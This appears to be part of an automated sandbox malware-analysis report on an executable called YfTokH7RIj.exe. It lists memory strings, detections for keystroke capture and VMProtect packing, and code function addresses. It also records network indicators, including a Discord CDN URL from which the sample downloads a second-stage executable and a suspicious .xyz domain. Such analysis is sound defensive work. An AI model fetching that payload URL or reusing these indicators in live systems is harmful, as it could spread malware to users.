Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id14
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id15
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id16
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id17
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id18
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id19
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id2
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id20
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id21
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id22
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id23
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id24
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727090311.0000000003978000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id3
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id4
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id5
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id6
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id7
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id8
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id9
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: https://api.ip.sb
Source: YfTokH7RIj.exe, YfTokH7RIj.exe, 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: https://api.ip.sb/ip
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp String found in binary or memory: https://cdn.discordapp.com
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: https://cdn.discordapp.com/attachments/917178535238586432/922560115226312704/StopScam.vmp.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp String found in binary or memory: https://cdn.discordapp.com4hm
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtabxEj
Source: YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://get.adob
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://helpx.ad
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729518896.0000000004ACC000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.729272432.0000000004A5B000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727326755.0000000003A3C000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727609013.0000000003AFE000.00000004.00000001.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: unknown DNS traffic detected: queries for: yabynennet.xyz
Source: global traffic HTTP traffic detected: GET /attachments/917178535238586432/922560115226312704/StopScam.vmp.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: unknown Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: romium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"*DivX Web Player*","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"*Facebook Video*","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"*Chrome PDF Viewer*","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"*Chrome PDF Plugin*","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"*Google Earth*","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"*Google Talk*","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"*IBM*Java*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-j
Source: unknown HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49783 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Creates a DirectInput object (often for capturing keystrokes)
Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

barindex
Detected VMProtect packer
Source: services32.exe.7.dr Static PE information: .vmp0 and .vmp1 section names
PE file has nameless sections
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Detected potential crypto function
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6B334 0_2_00D6B334
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D60538 0_2_00D60538
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D76658 0_2_00D76658
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D8E7B0 0_2_00D8E7B0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D65918 0_2_00D65918
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6CADC 0_2_00D6CADC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D81CDC 0_2_00D81CDC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00DACE3E 0_2_00DACE3E
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_05CCEC28 0_2_05CCEC28
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602A6C0 7_2_00007FFA3602A6C0
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360396C9 7_2_00007FFA360396C9
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36040EE6 7_2_00007FFA36040EE6
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36035721 7_2_00007FFA36035721
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602E892 7_2_00007FFA3602E892
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36036581 7_2_00007FFA36036581
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36032DB0 7_2_00007FFA36032DB0
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36024DF1 7_2_00007FFA36024DF1
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3603A689 7_2_00007FFA3603A689
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36023317 7_2_00007FFA36023317
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36031BD0 7_2_00007FFA36031BD0
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360293FD 7_2_00007FFA360293FD
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36020C1C 7_2_00007FFA36020C1C
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36041C92 7_2_00007FFA36041C92
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360200C0 7_2_00007FFA360200C0
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360208E0 7_2_00007FFA360208E0
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36020120 7_2_00007FFA36020120
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36025152 7_2_00007FFA36025152
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36020178 7_2_00007FFA36020178
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36020190 7_2_00007FFA36020190
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602A996 7_2_00007FFA3602A996
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36020180 7_2_00007FFA36020180
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360311CD 7_2_00007FFA360311CD
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360216CA 7_2_00007FFA360216CA
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36020ECC 7_2_00007FFA36020ECC
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360286D2 7_2_00007FFA360286D2
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36022EC8 7_2_00007FFA36022EC8
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36028EF5 7_2_00007FFA36028EF5
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36025708 7_2_00007FFA36025708
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36025F2F 7_2_00007FFA36025F2F
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602371B 7_2_00007FFA3602371B
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602673A 7_2_00007FFA3602673A
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602D75F 7_2_00007FFA3602D75F
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36020F95 7_2_00007FFA36020F95
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36036796 7_2_00007FFA36036796
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36025788 7_2_00007FFA36025788
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360217B8 7_2_00007FFA360217B8
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360237A1 7_2_00007FFA360237A1
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360227A9 7_2_00007FFA360227A9
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36021FEE 7_2_00007FFA36021FEE
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360357DA 7_2_00007FFA360357DA
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602580A 7_2_00007FFA3602580A
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36024831 7_2_00007FFA36024831
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602504B 7_2_00007FFA3602504B
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36021840 7_2_00007FFA36021840
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602206B 7_2_00007FFA3602206B
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602E06D 7_2_00007FFA3602E06D
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36023878 7_2_00007FFA36023878
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36022861 7_2_00007FFA36022861
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36028865 7_2_00007FFA36028865
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36023090 7_2_00007FFA36023090
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602087F 7_2_00007FFA3602087F
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360244D3 7_2_00007FFA360244D3
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360234BE 7_2_00007FFA360234BE
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3603ACC0 7_2_00007FFA3603ACC0
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA3602D4C5 7_2_00007FFA3602D4C5
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA360224F3 7_2_00007FFA360224F3
Source: C:\Users\user\AppData\Local\Temp\fl.exe Code function: 7_2_00007FFA36024CDF 7_2_00007FFA36024CDF
